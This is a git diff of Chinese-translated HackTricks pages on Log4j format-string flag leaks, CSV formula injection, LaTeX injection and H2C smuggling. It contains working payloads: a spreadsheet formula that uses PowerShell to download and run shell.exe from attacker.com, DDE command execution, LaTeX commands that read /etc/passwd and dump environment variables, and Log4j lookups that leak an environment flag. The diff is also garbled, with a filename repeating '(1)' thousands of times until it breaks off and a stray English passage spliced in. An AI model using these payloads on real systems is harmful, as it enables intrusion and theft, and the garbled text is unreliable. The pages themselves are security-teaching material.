通过滥用这种行为,你可以使替换操作**在字符串中匹配到正则表达式时触发异常**(如果没有找到匹配项,则不会触发异常),如下所示
```bash
%replace{${env:FLAG}}{^CTF.*}{${error}}
# The string searched is the env FLAG, the regex searched is ^CTF.*
@ -418,10 +427,9 @@ Log4j 的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
```
* **基于时间的攻击**
正如在前一节中提到的,**`%replace`** 支持 **正则表达式**。因此,可以使用来自 [**ReDoS 页面**](../regular-expression-denial-of-service-redos.md) 的负载,在找到标志时引发 **超时**。\
例如,像 `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` 这样的负载将在该 CTF 中触发超时。
正如前一节中提到的,**`%replace`** 支持正则表达式。因此,可以使用来自[**ReDoS页面**](../regular-expression-denial-of-service-redos.md)的负载,在找到标志时引发**超时**。例如,像 `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` 这样的负载将在该CTF中触发**超时**。
在这个 [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) 中,它没有使用 ReDoS 攻击,而是使用了一种 **放大攻击** 来引发响应中的时间差异:
在这个[**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)中,它没有使用 ReDoS 攻击,而是使用**放大攻击**来导致响应中的时间差异:
> ```
> /%replace{
@ -441,9 +449,9 @@ Log4j 的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
> }{#}{######################################################}
> ```
>
> 如果标志以 `flagGuess` 开头,整个标志将被替换为 29 个 `#`(我使用这个字符是因为它很可能不是标志的一部分)。**然后,将这 29 个 `#` 中的每一个替换为 54 个 `#`**。这个过程重复进行 **6 次**,总共产生了 ` 29*54*54^6* =`` `` `**`96816014208` `#`**
> 如果标志以 `flagGuess` 开头,整个标志将被替换为 29 个 `#`(我使用这个字符,因为它很可能不是标志的一部分)。然后,**每个结果中的 29 个 `#` 都会被替换为 54 个 `#`**。这个过程重复**6次**,总共有` 29*54*54^6* =`` `` `**`96816014208` `#`**
>
> 替换这么多的 `#` 将触发 Flask 应用程序的 10 秒超时,进而导致向用户发送 HTTP 状态码 500。如果标志不以 `flagGuess` 开头,我们将收到一个非 500 的状态码)
> 替换这么多的 `#` 将触发 Flask 应用程序的 10 秒超时,进而导致向用户发送 HTTP 状态码 500。如果标志不以 `flagGuess` 开头,我们将收到非 500 的状态码)
## 参考资料
@ -456,14 +464,21 @@ Log4j 的[**安全页面**](https://logging.apache.org/log4j/2.x/security.html)
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找出最重要的漏洞以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家 **网络安全公司** 工作吗?想要在 HackTricks 中 **为你的公司做广告** 吗?或者你想要获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 您在**网络安全公司**工作吗?您想在 HackTricks 中看到您的**公司广告**吗?或者您想获得最新版本的 PEASS 或下载 PDF 格式的 HackTricks 吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者在 **Twitter****关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享的黑客技巧。**
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass),或在 **Twitter****关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享的黑客技巧。**
</details>

View file

@ -12,14 +12,22 @@
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便您可以更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 公式注入
### 信息
如果你的**输入**被**反射**到**CSV文件**(或任何其他可能被**Excel**打开的文件你可能可以插入Excel**公式**,当用户**打开文件**或者用户在Excel表格中**点击某个链接**时,这些公式将被**执行**。
如果的**输入**被**反射**到**CSV文件**(或任何其他可能被**Excel**打开的文件)中,您可能可以放置Excel**公式**,当用户**打开文件**或用户**在Excel表格中点击某个链接**时,这些公式将被**执行**。
{% hint style="danger" %}
现在的**Excel会警告**多次用户当从Excel外部加载内容时为了防止用户进行恶意操作。因此在最终的有效负载中必须特别注意社会工程学。
现在的**Excel会警告**(多次)**用户当从Excel外部加载内容时**,以防止他进行恶意操作。因此,必须对社会工程学进行特殊努力以获得最终有效载荷
{% endhint %}
### [字典](https://github.com/payloadbox/csv-injection-payloads)
@ -64,7 +72,7 @@ DDE ("cmd";"/C calc";"!A0")A0
可以使用以下有效负载执行计算器 **`=cmd|' /C calc'!xxx`**
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
@ -171,11 +179,11 @@ with open('file.txt', 'r') as file:
This code opens the file named `file.txt` in read mode (`'r'`) and uses the `readlines()` method to read all the lines in the file. The lines are then printed one by one using a loop. The `strip()` method is used to remove any leading or trailing whitespace from each line.
这段代码以读取模式(`'r'`)打开名为 `file.txt` 的文件,并使用 `readlines()` 方法读取文件中的所有行。然后使用循环逐行打印这些行。`strip()` 方法用于删除每行开头和结尾的空白字符。
这段代码以读取模式(`'r'`)打开名为 `file.txt` 的文件,并使用 `readlines()` 方法读取文件中的所有行。然后使用循环逐行打印这些行。`strip()` 方法用于删除每行开头和结尾的空白字符。
By using this code, you can easily read and process files that contain multiple lines.
By using this code, you can easily read and process files that contain multiple lines of text.
通过使用这段代码,您可以轻松读取和处理包含多行的文件。
使用这段代码,您可以轻松读取和处理包含多行文本的文件。
```bash
\newread\file
\openin\file=/etc/passwd
@ -217,7 +225,7 @@ By using this code, you can easily read and process files that contain multiple
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
如果遇到任何LaTex错误请考虑使用base64来获取结果以避免出现不良字符。
如果遇到任何LaTex错误请考虑使用base64来获取结果以避免不良字符的影响
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
@ -241,14 +249,21 @@ By using this code, you can easily read and process files that contain multiple
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一个**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享的黑客技巧。**
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗?你想在 HackTricks 中看到你的**公司广告**吗?或者你想获得**PEASS 的最新版本或下载 HackTricks 的 PDF 版本**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
@ -16,11 +16,19 @@
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从 API 到 Web 应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## H2C 欺骗 <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
### 明文 HTTP2 (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
通常,普通的 HTTP 连接只持续一个请求的时间。然而H2C 或者“**明文 HTTP2**”是指将普通的短暂的 HTTP 连接**升级为使用 HTTP2 二进制协议进行持续通信的持久连接**,而不是使用明文的 HTTP 协议进行一次请求。
通常,普通的 HTTP 连接只持续一个请求的时间。然而H2C 或者“**明文 HTTP2**”是指将普通的短暂的 HTTP 连接**升级为使用 HTTP2 二进制协议进行持续通信的持久连接**,而不是使用明文 HTTP 协议进行一次请求。
欺骗的第二部分发生在使用**反向代理**时。通常,当向反向代理发送 HTTP 请求时,代理会处理请求,处理一系列路由规则,然后将请求转发到后端,然后返回响应。当 HTTP 请求包含`Connection: Upgrade`头部时,例如用于 WebSocket 连接,反向代理将**维持客户端和服务器之间的持久连接****允许这些协议所需的持续通信**。对于 H2C 连接RFC 要求存在 3 个头部:
```
@ -30,15 +38,15 @@ Connection: Upgrade, HTTP2-Settings
```
## 漏洞位置
当升级连接时反向代理通常会停止处理单个请求假设一旦建立连接其路由工作就完成了。使用H2C Smuggling我们可以绕过反向代理在处理请求时使用的规则如基于路径的路由、身份验证或WAF处理只要我们能首先建立H2C连接。
当升级连接时反向代理通常会停止处理单个请求假设一旦建立连接其路由工作就完成了。使用H2C Smuggling我们可以绕过反向代理在处理请求时使用的规则如基于路径的路由、身份验证或WAF处理只要我们能首先建立H2C连接。
![](<../.gitbook/assets/image (454).png>)
### 受影响的代理 <a href="#exploitation" id="exploitation"></a>
根据漏洞的解释代理服务器需要转发Upgrade标头并且有时还需要成功转发Connection标头。
从漏洞的解释中可以看出代理服务器需要转发Upgrade标头并且有时还需要成功转发Connection标头。
默认情况下以下服务在代理传递期间会转发Upgrade和Connection标头从而使h2c smuggling能够开箱即用:
默认情况下以下服务在代理传递期间会转发Upgrade和Connection标头从而使h2c smuggling开箱即用
- HAProxy
- Traefik
@ -57,10 +65,10 @@ Connection: Upgrade, HTTP2-Settings
### 攻击 <a href="#exploitation" id="exploitation"></a>
原始博客文章指出并非所有服务器都会转发符合H2C连接升级所需的标头。这意味着默认情况下负载均衡器如AWS ALB/CLB、NGINX和Apache Traffic Server等默认阻止H2C连接。然而在博客文章的最后,他提到“并非所有后端都符合规范,我们可以使用不符合规范的`Connection: Upgrade`变体进行测试,其中`HTTP2-Settings`值从`Connection`标头中省略”。
原始博客文章指出并非所有服务器都会转发符合H2C连接升级所需的标头。这意味着默认情况下负载均衡器如AWS ALB/CLB、NGINX和Apache Traffic Server等阻止H2C连接。然而在博客文章的结尾处,他提到“并非所有后端都符合规范,我们可以使用不符合规范的`Connection: Upgrade`变体进行测试,其中`Connection`标头中省略了`HTTP2-Settings`值”。
{% hint style="danger" %}
请注意,即使`proxy_pass` URL代理转发连接的终点指向特定的路径例如`http://backend:9999/socket.io`,连接也将与`http://backend:9999`建立因此您可以滥用此技术来联系该内部终点中的任何其他路径。因此在proxy_pass的URL中指定路径无关紧要。
请注意,即使`proxy_pass` URL代理转发连接的终点指向特定的路径例如`http://backend:9999/socket.io`,连接也将与`http://backend:9999`建立因此您可以滥用此技术来联系该内部终点中的任何其他路径。因此在proxy_pass的URL中指定路径并不重要。
{% endhint %}
使用工具[**https://github.com/BishopFox/h2csmuggler**](https://github.com/BishopFox/h2csmuggler)和[**https://github.com/assetnote/h2csmuggler**](https://github.com/assetnote/h2csmuggler)您可以尝试绕过代理所施加的保护建立H2C连接并访问受代理保护的资源。
@ -85,10 +93,10 @@ Connection: Upgrade, HTTP2-Settings
![](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
发现以下反向代理受到影响:
发现以下反向代理受到影响:
- Varnish - 团队拒绝修复所描述的问题。
- Envoy proxy 1.8.0(或更版本)- 在更新的版本中,升级机制已更改。
- Envoy proxy 1.8.0(或更版本)- 在更新的版本中,升级机制已更改。
- 其他 - 待定。
### 场景2
@ -106,10 +114,10 @@ Connection: Upgrade, HTTP2-Settings
![](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
{% hint style="warning" %}
